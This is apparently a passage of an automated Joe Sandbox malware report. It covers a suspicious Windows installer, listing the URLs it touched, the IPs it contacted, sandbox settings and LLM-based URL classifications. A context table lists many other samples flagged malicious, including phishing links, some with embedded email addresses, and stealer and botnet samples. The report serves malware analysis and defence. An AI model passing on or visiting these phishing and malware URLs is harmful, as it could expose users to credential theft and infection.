http://typekit.com/eulas/000000000000000000014824	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
http://typekit.com/eulas/000000000000000000014823	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
http://typekit.com/eulas/000000000000000000014822	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
https://delegated-stage-or2.stage.cloud.adobe.	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1328046176.000001BDA3400000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.3754901379.000001BD9DCBF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ims-prod07.adobelogin.com	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.000000000132D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ims-prod06.adobelogin.comcb	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.0000000001377000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/WebReflection/url-search-params/blob/master/README.md#ios-10--other-platforms-bug	chromecache_240.18.dr	false		high
https://ims-na1.adobelogin.com/ims/authorize/v3?client_id=CC_HD_ESD_5_2&response_type=device&hashed_	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763291568.0000000006250000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3758086632.0000000004710000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.0000000006F0E000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009867000.00000004.00000020.00020000.00000000.sdmp, HDInstaller.log.10.dr	false		high
https://delegated.adobelogin.com/(	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763050320.0000000006167000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&amp;scope=allow_ac_dt_excha	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765274666.0000000009700000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755388883.0000000001250000.00000004.00000020.00020000.00000000.sdmp	false		high
http://typekit.com/eulas/000000000000000000014f4dQ;	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339572054.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339416416.00000000053E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://typekit.com/eulas/000000000000000000014f4e	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
http://typekit.com/eulas/000000000000000000014f4d	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339572054.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763291568.0000000006250000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339416416.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 0000000E.00000003.1328046176.000001BDA3459000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1273556329.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1272470718.0000000002550000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000000.1274939932.0000000000401000.00000020.00000001.01000000.00000005.sdmp	false		high
http://typekit.com/eulas/000000000000000000014f4fdflt	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339827960.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340065858.0000000005418000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Cop	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009867000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1273556329.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1272470718.0000000002550000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000000.1274939932.0000000000401000.00000020.00000001.01000000.00000005.sdmp	false		high
http://typekit.com/eulas/000000000000000000014f4f	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340892950.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340316690.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1339827960.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340065858.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.00000000068F0000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
https://delegated.adobelogin.comity	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.00000000012CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl3.digic	PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEM	index.html0.10.dr, index.html.10.dr	false		high
http://www.winimage.com/zLibDll	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	false		high
https://ims-na1-stg1.adobelogin.com/imsj.prod	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3775857049.000000000C8C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://typekit.com/eulas/000000000000000000014f52	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
http://typekit.com/eulas/000000000000000000014f51	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340892950.0000000005418000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1340316690.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.00000000068F0000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
https://ims-prod07.adobelogin.comBaseUserProfilep8e-xo88uZdECZX33TmXbouglqWnMMEOY-gsf43446bc-7009-41	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://typekit.com/eulas/000000000000000000014f50	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3764681817.0000000009232000.00000004.00000800.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763657703.0000000006CB0000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009A39000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3763050320.0000000006167000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755388883.0000000001250000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3757122196.0000000003B03000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3757122196.0000000003B00000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.239.50.31	unknown	United States	16509	AMAZON-02US	false
18.155.129.16	unknown	United States	16509	AMAZON-02US	false
63.140.62.27	unknown	United States	15224	OMNITUREUS	false
63.140.62.222	unknown	United States	15224	OMNITUREUS	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
3.211.174.17	unknown	United States	14618	AMAZON-AESUS	false
46.137.47.185	unknown	Ireland	16509	AMAZON-02US	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
54.70.159.128	unknown	United States	16509	AMAZON-02US	false
52.215.4.125	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.32.47.160	unknown	United States	16509	AMAZON-02US	false
44.209.177.127	unknown	United States	14618	AMAZON-AESUS	false
18.245.60.46	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555371
Start date and time:	2024-11-13 19:52:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Detection:	MAL
Classification:	mal52.rans.evad.winEXE@35/256@0/17
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 3.248.26.100, 54.77.72.255, 54.74.179.44, 2.16.238.136, 2.16.238.153, 192.168.2.7, 54.195.71.107, 34.250.67.152, 54.194.243.238, 184.28.90.27, 199.232.214.172, 172.66.0.163, 162.159.140.165, 142.250.185.67, 142.250.185.78, 64.233.167.84, 104.18.32.77, 172.64.155.179, 34.104.35.123, 2.19.126.206, 2.19.126.198, 2.16.168.10, 2.16.168.6, 52.72.164.124, 18.213.158.126, 142.250.185.74, 216.58.206.42, 142.250.185.170, 172.217.18.106, 172.217.23.106, 142.250.184.234, 142.250.185.138, 142.250.185.106, 142.250.185.202, 142.250.185.234, 142.250.186.74, 216.58.206.74, 142.250.181.234, 142.250.186.42, 142.250.184.202, 142.250.186.138, 142.250.181.238, 2.19.126.208, 2.19.126.218, 142.250.186.110, 142.250.186.163, 142.250.186.142, 142.250.184.227
Excluded domains from analysis (whitelisted): ims-na1.adobelogin.com.cdn.cloudflare.net, auth.services.adobe.com, slscr.update.microsoft.com, delegated-va6.cloud.adobe.io, resources.licenses.adobe.com, clientservices.googleapis.com, time.windows.com, na1e-uw.services.adobe.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, server.messaging.adobe.com, a1874.dscg1.akamai.net, clients2.google.com, delegated.identity.adobe.com, use-stls.adobe.com.edgesuite.net, redirector.gvt1.com, ocsps.ssl.com, e16604.g.akamaiedge.net, update.googleapis.com, lcs-cops.adobe.io, prod.fs.microsoft.com.akadns.net, clients1.google.com, sstats.adobe.com, delegated-va6-hardfail.identity.adobe.com, fs.microsoft.com, stls.adobe.com-cn.edgesuite.net.globalredir.akadns.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, na1e-acc.services.adobe.com, cc-api-data.adobe.io, stls.adobe.com-cn.edgesuite.net, fe3cr.delivery.mp.microsof
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Simulations

Behavior and APIs

Time	Type	Description
13:53:33	API Interceptor	8343x Sleep call for process: PhotoshopElements_2024_LS30_win64.exe modified
13:53:35	API Interceptor	2x Sleep call for process: svchost.exe modified

LLM Input / Output

Input	Output
URL: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%2 Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Continue", "text_input_field_labels": [ "Email address" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: Model: claude-3-5-sonnet-latest	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://auth.services.adobe.com
URL: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%2 Model: claude-3-haiku-20240307	```json { "brands": [ "Adobe" ] }
	```json { "brands": [ "Adobe" ] }
URL: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%2 Model: gpt-4o	```json{ "legit_domain": "adobe.com", "classification": "wellknown", "reasons": [ "The domain 'adobe.com' is the legitimate domain for the brand Adobe.", "The URL 'auth.services.adobe.com' is a subdomain of 'adobe.com', which is common for legitimate service-specific URLs.", "Adobe is a well-known brand with a strong online presence.", "The use of 'auth.services' as a subdomain is typical for authentication services and does not appear suspicious." ], "riskscore": 1}
URL: auth.services.adobe.com Brands: Adobe Input Fields: Email address

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.239.50.31	http://www.de-battle.net	Get hash	malicious	Unknown	Browse
	FW Vipul Patel shared CMES Inc..pdf with you.eml	Get hash	malicious	Unknown	Browse
	https://roblox.tz/games/10449761463/BOSS-The-Strongest-Battlegrounds?privateServerLinkCode=11856892146830167735895077236647	Get hash	malicious	Unknown	Browse
	reference usfinancegl@ey.com - Search.pdf	Get hash	malicious	Unknown	Browse
	https://www.exactcollisionllc.com/	Get hash	malicious	Unknown	Browse
	https://www.exactcollisionllc.com/	Get hash	malicious	Unknown	Browse
	https://www.exactcollisionllc.com/	Get hash	malicious	Unknown	Browse
	https://www.0769qilin.com/	Get hash	malicious	Unknown	Browse
63.140.62.222	http://vimuscle.vi/css/TB.html	Get hash	malicious	Unknown	Browse	info.telstra.com.au/b/ss/telstratdtmglobalprd/1/JS-2.10.0/s81407038587847?AQB=1&ndh=1&pf=1&t=24%2F8%2F2024%2021%3A37%3A27%202%20240&sdid=080702B973E60E46-3262A79A37C4013C&mid=80393247477718675596040170536517987875&aamlh=6&ce=UTF-8&ns=telstracorporation&cdp=3&fpCookieDomainPeriods=2&pageName=TD%3ATR%3ATR%3Acss%3Asign%20in%20with%20your%20telstra%20id&g=http%3A%2F%2Fvimuscle.vi%2Fcss%2FTB.html&cc=AUD&ch=css&server=vimuscle.vi&events=event27&aamb=j8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI&c1=TD&v1=TD&h1=TD%7CTR%7CTR%7Ccss%7Csign%20in%20with%20your%20telstra%20id&c2=TR&v2=TR&c3=TR&v3=TR&c4=D%3Dv5&v4=D%3Dch&c5=D%3Dv72&v5=tb.html&c6=D%3Dproducts&v6=css%3Atb.html&c7=%2Fcss%2FTB&c8=D%3Dg&v8=D%3Dg&c9=%2F%2Fwww.telstra.com.au%2Fcontent%2Fdam%2Fanalytics%2Fadobetags.min.js%3Fsource%3DCQ5%20%7C%20launch%20%7C%20prd%20%7C%20tz%3D-4&c11=no%20jQuery&c16=Wed%2C%2025%20Sep%202024%2001%3A37%3A27%20GMT&v18=di&c19=First%20Visit&c35=D%3DUser-Agent&v35=D%3DUser-Agent&c41=9%3A30PM&c42=Tuesday&c43=Weekday&c44=D%3Dv44%2B%22%3A%22%2BpageName&v4
63.140.62.27	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse
	https://www.mcafee.com/consumer/en-gb/ipz/checkout/2web/payment.html?pkgid=535&culture=en-gb&moguid=F09DE6FC-A0B4-46DF-829B-03590CD3D6E3&SID=cb6e5677-1e89-44ef-b1d8-c83d6250118a&csrcl2=Creative+Clicks+USA+CN&affid=1494&csrc=cj&ccoe=direct&ccoel2=am&cjevent=8df76a1da0cd11ef801e8a770a18b8f7&CID=240649&PID=101297887&ccstype=partnerlinks_8df76a1da0cd11ef801e8a770a18b8f7	Get hash	malicious	Unknown	Browse
	http://swctch.com	Get hash	malicious	Unknown	Browse
	https://anzsupportus.web.app/#	Get hash	malicious	Unknown	Browse
	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse
	http://cgi-wsc.alfahosting.de/extras/public/photos.cls/selection/addAll?cc=0.653810755815357&accountId=AAHS10INX3Z1&filter=&redirectUrl=https://panimex.cl/158983/secure-redirect#jacquie.treagus+csc.gov.au	Get hash	malicious	Unknown	Browse
	Steelcase Series 1 Sustainable Office Chair _ Steelcase.html	Get hash	malicious	Unknown	Browse
	https://z7.mqis1u.com/27p3mW2jbVyhAO1WQDjPk/	Get hash	malicious	Unknown	Browse
	https://www.supercontable.es/emailing/track_superc.php?Destino=!:%7D%7D%7C.fasttravelnet.xyz/YW5kcmVzLnRvcmliaW9AY2VsbG5leHRlbGVjb20uY29t&IdTracking=9008&user=000000	Get hash	malicious	Phisher	Browse
	Fw Message from Kevin - Update on Coles Supply Chain Modernisation 31-10-24.eml	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	https://o000005496.photoshelter.com/	Get hash	malicious	Unknown	Browse	18.239.69.9
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	44.234.198.184
	https://arcalo.ru.com/#cathy.sekula@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	3.165.113.58
	https://webconference.protected-forms.com/XZmlBeUlkbExkNHYxS3piZldoaGJqTzUrV3RZK1BkOGZVMlRsRGFZcnlYbnJ1K3h1VjJEMnY1d0lXNFNQVmswcXFCTmFqczEyaHMyc3lwSUpvNnFFYlJLemVwaEpGbjRXVnVRRk93ZUxYY0dwRmhsZ010WmVrNTNVR0N0YkdCeTRnTHZMb043aXdiVFo5a25TNjZkVThLaW8wem41RTU3MUl5b2dxWjNpdjFLNWdRSmdxL2ZocGVvdDVBPT0tLVNLdmlEU1hLTGZIRW9VQ0YtLWFoQVVsMnk3VVFLbzBPZHpycUt6OEE9PQ==?cid=2178924675	Get hash	malicious	KnowBe4	Browse	52.217.68.204
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse	52.215.4.125
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	44.245.88.8
	https://uxfol.io/p/b02d8c67/029f480a	Get hash	malicious	Unknown	Browse	99.83.217.1
	https://www.trendytechinsight.com/sx	Get hash	malicious	Unknown	Browse	52.222.236.94
	guia_evfs.vbs	Get hash	malicious	Unknown	Browse	3.5.216.51
AMAZON-02US	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	https://o000005496.photoshelter.com/	Get hash	malicious	Unknown	Browse	18.239.69.9
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	44.234.198.184
	https://arcalo.ru.com/#cathy.sekula@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	3.165.113.58
	https://webconference.protected-forms.com/XZmlBeUlkbExkNHYxS3piZldoaGJqTzUrV3RZK1BkOGZVMlRsRGFZcnlYbnJ1K3h1VjJEMnY1d0lXNFNQVmswcXFCTmFqczEyaHMyc3lwSUpvNnFFYlJLemVwaEpGbjRXVnVRRk93ZUxYY0dwRmhsZ010WmVrNTNVR0N0YkdCeTRnTHZMb043aXdiVFo5a25TNjZkVThLaW8wem41RTU3MUl5b2dxWjNpdjFLNWdRSmdxL2ZocGVvdDVBPT0tLVNLdmlEU1hLTGZIRW9VQ0YtLWFoQVVsMnk3VVFLbzBPZHpycUt6OEE9PQ==?cid=2178924675	Get hash	malicious	KnowBe4	Browse	52.217.68.204
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse	52.215.4.125
